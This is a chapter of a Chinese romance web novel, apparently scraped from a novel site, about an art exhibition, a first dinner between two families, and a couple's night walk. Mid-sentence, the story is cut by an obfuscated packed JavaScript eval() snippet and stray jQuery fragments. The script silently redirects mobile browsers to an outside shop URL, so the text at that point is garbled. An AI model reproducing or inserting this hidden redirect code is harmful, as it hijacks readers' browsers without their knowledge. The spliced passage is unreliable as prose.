文趣网 > 其他小说 > 画蝶 > 73. 风筝
    云嫣在掌声中下台,被围住合了一圈照,等人群渐渐散了,她只找到温照野和周济,左看右看也没发现方斯远去了哪里。

    “他在进行一场严肃的会晤。”温照野说,“参会嘉宾还有你爸妈和他爸妈。”

    云嫣听得险些冒冷汗,顺着他们的指引望向角落,果然看到两家人正交谈甚欢,方斯远接收到她的眼神,无奈地眨了眨眼。

    “帅老公也得见丈人丈母娘。”周济长吁短叹,“这是我们小远必须迈过的一道坎。”

    云嫣没好意思说这道坎方斯远早就迈过了,还非常顺利,虽然云起平那天十分吝啬,不肯赏他几个笑脸。

    赵亦蓉转过身,看到云嫣,忙招呼她过来,“嫣嫣!”

    五人的目光齐齐看过来,云嫣硬着头皮迎上前,在台上发言时都没这么紧张,她估计自己此时的表情一定很僵硬,想努力笑笑,可惜嘴角抽动的幅度看起来像抽筋。

    万幸没人关注到这一点。

    她微微欠身,“阿姨好,叔叔好。”

    “不用这么客气,说起来,我和嫣嫣见过好几次,一直没能正面说上话。”沈蕙芝今天难得和蔼,一整套祖母绿首饰给她平添了一丝端庄的气质,“第一次见这孩子的时候,是她去我们医院输血,现在身体倒是看着好多了。”

    “说起这个我就发愁,贫血什么的都是老毛病了,她还老对自己不上心,粗心大意的。”赵亦蓉叹了口气,“成天在外头瞎跑,每次回来都一身伤,管都管不住。”

    “以后有事就来医院找我,体检还是要每年都做,出门多让小远陪着,这样我也放心。”沈蕙芝笑着说,“在我们医院,总归是要方便些。”

    “是呀,我也说呢,她和小远在一起,我和她爸爸是放一百个心的。”赵亦蓉也笑,“以后还劳烦你们多费心了。”

    云嫣咬了咬嘴唇,她看出妈妈对他们有种微妙的讨好,赵亦蓉今天甚至戴上了自己仅有的几件首饰,但在沈蕙芝那套一看就价值不菲的宝石面前,还是显得暗淡无光。

    “这是哪里的话,可千万不要这么讲。”沈蕙芝严肃地说,“说起来也是小远不懂事,那么冒失地就登门拜访了,应该先跟我和他爸爸商量才对,我们两家人正式见一面,这孩子一急起来连礼貌都忘了。”

    方霁明也发话,“我看择日不如撞日,不如就今天吧,也是庆祝嫣嫣的画展顺利举办,我这就安排人去定餐厅,不知道二位有没有其他安排?不方便的话,也可以再另选个日子。”

    赵亦蓉下意识看向云嫣,云起平也看过来,意思是他们都听她的,重点在她愿不愿意。

    不知从何时起,她已经成了这个家的主心骨,她是能够独当一面的大人了。

    于是云嫣微笑着点了点头,“我都可以的,叔叔您安排就好。”

    有些事还需要她去主持场面,告别两家父母,方斯远陪她一起去社交,云嫣全程都保持着得体的笑容,在司徒蕴身边也不落下风。她的脊背永远挺直,面对各路名流也能从容不迫。他欣赏这样的云嫣,云嫣的人生就该是向上走的。

    他甘愿做她身边的陪衬,他比任何人都希望她被更多人看见,他恨不得拿大喇叭来喊,看啊,我女朋友就是这么好这么优秀的人啊。

    云嫣终于结束了又一轮关于画作的提问,大家显然对主展图充满兴趣,比如那颗星星。她已经可以平淡地说出,星星代表已经去世的朋友,她会成为今天的云嫣,也和那位朋友有关,她是带着对方的遗志走到台前的。

    “小云。”胡悦把她拉到一旁,悄声说,“有人送了一束花过来,留了张贺卡,你要不要去看看?”

    画展都已经进行了好几个小时,云嫣想不出现在还会有谁送花,“谁呀?”

    是一大捧黄玫瑰,她拆开卡片,上面只写了四个字:万事顺意。

    没有署名。胡悦问:“要打给花店问问吗?”

    “不用了。”

    黄玫瑰象征着歉意,同时也代表永恒的友谊。

    她轻轻抚摸着花瓣,“谢谢你们呀。”

    夏日天长,往往是太阳还挂在天上,月亮已经悄无声息地在另一端占据小小的一角。方斯远陪云嫣送走宾客,接下来的几天都不必再像今日一样操劳,周济临走时和他们说婚礼见,方斯远回敬一句祝你高升,最好能在婚礼当天出差去天涯海角。

    “天涯海角也阻挡不了我回来给你添堵的决心。”周济向云嫣告别,“我走了女神,回头见。”

    云嫣无奈地弯了弯唇角。

    “喂,能不能不要乱吃醋了。”见他在车上还是闷闷不乐,她忍不住打趣,“丢不丢人啊。”

    “有什么丢人的?这叫有危机意识。”方斯远义正言辞,“不管怎么说,你还是离周济远一点。”

    “你对自己就这么没自信?”云嫣故作惊讶,“原来你觉得你比不过周济呀?真是看不出来。”

    “我没有!”

    “你明明就有!”

    一路插科打诨,到了方霁明预订的餐厅,两人又默契地成了锯嘴葫芦。刚才在画展到底人多,充其量只能算打个照面,一想到两家人要正式坐在一起交谈,难免还是会生出些胆怯。

    云嫣让方斯远走在前面,“等下你先进去。”

    “一起进。”方斯远不由分说把她拉到身边,“别让你爸妈觉得我欺负你。”

    最终云嫣还是没拗过方斯远,两人肩并肩进了包厢,各自问候了对方的父母,再回到各自的位置,对立面,圆桌区分开两个家庭,好像楚河汉界。

    从桌上的茶杯可以看出他们已经聊了很久,赵亦蓉倒是比白天放松了许多,再看云起平,俨然已经和方霁明交谈甚欢了。

    赵亦蓉悄声告诉她,方斯远奶奶的老家和云起平老家都在同一个镇子,这样算起来也算半个同乡,说不定祖坟都挨在一起。云嫣差点为这离谱的缘份笑出声,再看方斯远,显然也和自己听说了同样的八卦,一副忍俊不禁的模样。

    菜都是迁就云嫣点的,大家都招呼她多吃点,云嫣面前的碗险些被堆成小山,方霁明惋惜地说,可惜今天人不齐,等方斯年回来,两家人还要一起聚一聚。

    “我们两家这么有缘份,多难得呀。”方霁明对云嫣越看越满意,多好的女孩子,有能力却不骄矜,“生斯年之前我一直在想,要是有个这样的女儿就好了,谁知道那丫头怎么长的,长成了人来疯。”

    沈蕙芝抿了一口酒,“是呢,也不知道随了谁。”

    “年年多好,我就喜欢年年。”赵亦蓉连忙说,“小姑娘大大方方的,一见人就笑,说起来之前住一个小区,倒是没怎么遇到过你们。”

    “工作太忙了,也得亏孩子们自立,也难怪小远总夸赵阿姨好,我和霁明整天不着家。不过也好,小远要是不会照顾人,别说你们,我都不放心让嫣嫣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774978|207545||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和他在一起。”

    沈蕙芝看向云嫣,笑,“嫣嫣,以后要是小远有做得不好的地方,你就告诉阿姨,实在不好意思和阿姨讲,就和年年说去,那丫头就喜欢告她哥的状。”

    这话说得两家人都笑起来,云嫣用力点了点头,“嗯,我知道了。”

    时间在推杯换盏间过得很快,她想象中的尴尬并没有出现,反而恍惚间觉得大家已经认识了很久,她能感受出来,沈蕙芝和方霁明是真的很欣赏自己,也很重视这次的见面。方霁明甚至还准备了礼品,让他们务必要收下。

    “不算多贵重的东西,收下吧,就当是初次见面,我们的一点心意。”方霁明说。

    云嫣没有推脱,“谢谢叔叔,也谢谢您和阿姨为基金会献出的爱心。”

    方霁明一愣,少女认真的神情让他想起当初坚持要报考新闻系的方斯远,十八岁的少年,拒绝走父母为他规划好的路。那时的方霁明对此不屑一顾:所谓的理想能当饭吃么?如果连养活自己都困难,还谈什么大爱?

    他释怀地笑了,迟到多年的认可,以另一种方式,交付给一个与儿子相似的女孩,“云嫣,去做你认为正确的事,你有很好的家人,希望未来,我也能成为你的家人,我们都会是你坚实的依靠。”

    方霁明的司机送了两家人回去。因为喝过酒的缘故,方斯远没再开车,而是和云嫣一起漫步在深城的夜晚街道,月白风清,他们牵着手并肩而行,趁云嫣接电话的功夫,他悄悄走到她身后,幼稚地玩起踩影子的游戏。

    想起两年前的深秋,他也是这样望着她的背影,酸涩而甜蜜地想,到底什么时候可以变成她的正牌男友?

    云嫣挂了电话,看方斯远一直低着头,还以为是他喝醉了酒,可凑进去看他的眼睛,又被使坏似的亲了一口,只有薄荷糖的味道,清凉凉的很好闻。

    “你刚才在想什么?”

    方斯远抬头看着澄明的夜空,如实相告,“想你。”

    云嫣对这个答案不太满意,“我就在这里,你又瞎想什么呢?”

    她歪着头疑惑的样子实在可爱,方斯远捻起她的一缕长发,“想我们还没在一起的时候,最开始你总是走在我后面,但我觉得这样不好,应该是我在后面才对。”

    云嫣哑然失笑,还以为他在想多复杂的东西,“这有什么说法吗?”

    “有的。”方斯远把她搂进怀里,像是赌气,“我说有就有。”

    云嫣乖顺地抚上他的背,她知道他并没有喝醉,“那你给我讲一讲嘛,我不懂呀。”

    “我走在后面,才能保证你完全在我的视线范围内,只有看得到你,我才会安心。”方斯远亲亲她的发顶,“可蝴蝶都是会飞走的,你也不例外,虽然起飞的时间可能比别人慢一点,但终究是要飞起来的,嫣嫣,你会有很好很好的未来。”

    “我才不要做虫子呢。”云嫣抗议地说,“你就当我是风筝吧,既然你喜欢走在后面,就好好拉住我的风筝线,如果我飞得太高,偏离了原定的轨道,你拽一拽,我就能回来。”

    方斯远低声笑了,“好。”

    “方斯远。”

    “嗯?”

    云嫣踮起脚尖,在他耳边轻声说:“我爱你。”

    我爱你,所以我愿意把一切交付给你。

    我爱你,所以我想你去探究未来的广阔天地。

    所以云嫣,放心,飞吧。